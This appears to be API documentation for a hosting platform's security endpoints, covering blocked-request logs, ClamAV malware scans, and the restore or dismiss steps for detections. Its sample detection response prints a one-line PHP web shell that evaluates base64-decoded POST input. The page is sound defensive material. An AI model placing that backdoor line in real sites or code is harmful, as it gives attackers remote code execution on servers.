Skip to content

Security

Preview The security resource exposes the two halves of the platform’s security pipeline as API: blocks — every request a control rejected — and malware — scans and detections from the ClamAV engine. Together they let you drive the full detect → quarantine → verify → restore loop from code, with an audit trail, the way a security MSSP would.

For what the pipeline is and how each layer works, see Security → Blocks and malware scanning. This page covers reading and acting on that data over the API.

Action Scope
Read blocks, scans, detections security:read
Trigger a scan, restore or dismiss a detection security:write

write implies read. Block and malware detail is sensitive — attacker IPs, matched rules, infected file paths — so the underlying RBAC floor is site_manager and above. A key minted by an observer can hold security:read in name but the down-scoping rule intersects it against the principal’s role, so an observer-owned key still can’t see block detail. See teams & roles.

Blocked requests are recorded as security events on their own path — they’re deliberately kept out of the observability requests ledger so attack traffic doesn’t drown out real visitors.

Method + path Scope Returns
GET …/{envID}/security/blocks security:read recent blocked requests, attributed to the control that stopped them
GET …/{envID}/security/blocks/volume security:read block counts over time, broken down by blocker

Each block row carries the blocker (waf, rate_limit, patchstack, login_lockout, ip_reputation), the source IP, the matched rule or CVE signature, and the request path. Both endpoints are cursor-paginated and accept from / to window parameters.

Malware scanning is site-scoped (it walks the site’s files), not env-scoped.

Method + path Scope Returns / does
GET /v1/sites/{siteID}/malware security:read current malware overview — clean/infected, last scan, open detections
GET /v1/sites/{siteID}/malware/scans security:read scan history
POST /v1/sites/{siteID}/malware/scan security:write start an on-demand scan → 202 + a job
GET …/malware/detections/{id}/content security:read the flagged file’s content for review
POST …/malware/detections/{id}/restore security:write restore the file from a clean snapshot
POST …/malware/detections/{id}/dismiss security:write mark a detection as a false positive

The endpoints compose into one loop you can run entirely from an integration — this is what closes the gap a bare “site hacked” alert only opens:

  1. Detect. A security.site_hacked or malware.detected webhook arrives, or a scheduled scan surfaces a detection. Read the overview with GET …/malware.
  2. Inspect. Pull the flagged file with GET …/malware/detections/{id}/content and correlate the entry vector against GET …/{envID}/security/blocks — often the same IP that injected it was already logged.
  3. Remediate. Either …/detections/{id}/restore to swap the file back from a clean snapshot, or …/detections/{id}/dismiss if it’s a false positive.
  4. Verify. Kick POST …/malware/scan and wait on the job until it reports clean.
  5. Audit. Every write lands in the audit log, so the whole remediation is reviewable after the fact.

POST to start an on-demand scan. Pass an Idempotency-Key so a retry never queues a second scan.

Start a malware scan
curl -X POST https://api.managed.dev/v1/sites/site_01J7Q2/malware/scan \
-H "Authorization: Bearer mfk_live_9aF2…" \
-H "Forge-Version: 2026-06-23" \
-H "Idempotency-Key: scan-2026-06-24-checkout" \
-H "Content-Type: application/json"
Response — 202 Accepted (Location: /v1/jobs/job_01J9SC)
{
"data": {
"id": "job_01J9SC",
"type": "malware.scan",
"status": "queued",
"created_at": "2026-06-24T01:02:00.110Z",
"resource": { "type": "site", "id": "site_01J7Q2" },
"links": { "self": "/v1/jobs/job_01J9SC", "stream": "/v1/jobs/job_01J9SC/stream" }
},
"request_id": "req_01JAB2"
}

Worked example — review and restore a detection

Section titled “Worked example — review and restore a detection”

When a scan reports a detection, read the file, then restore it from a clean snapshot.

Inspect then restore a detection
# read the flagged file
curl https://api.managed.dev/v1/sites/site_01J7Q2/malware/detections/det_01JK4/content \
-H "Authorization: Bearer mfk_live_9aF2…" \
-H "Forge-Version: 2026-06-23"
# restore it from a clean snapshot
curl -X POST https://api.managed.dev/v1/sites/site_01J7Q2/malware/detections/det_01JK4/restore \
-H "Authorization: Bearer mfk_live_9aF2…" \
-H "Forge-Version: 2026-06-23" \
-H "Idempotency-Key: restore-det_01JK4"
Response — detection content
{
"data": {
"id": "det_01JK4",
"path": "wp-content/uploads/2026/06/eval.php",
"signature": "PHP.Backdoor.Generic-9831",
"first_seen": "2026-06-24T00:58:11Z",
"status": "open",
"content": "<?php @eval(base64_decode($_POST['x'])); ?>"
},
"request_id": "req_01JAB7"
}